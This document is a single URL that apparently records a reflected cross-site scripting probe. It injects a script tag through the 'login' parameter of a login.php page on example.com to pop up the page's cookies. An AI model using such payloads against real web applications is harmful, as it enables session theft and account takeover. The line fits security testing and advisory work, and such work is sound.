http://www.example.com/webshell4/login.php?login=\"><script>alert(document.cookie);</script>&err=invalid+login+name+or+password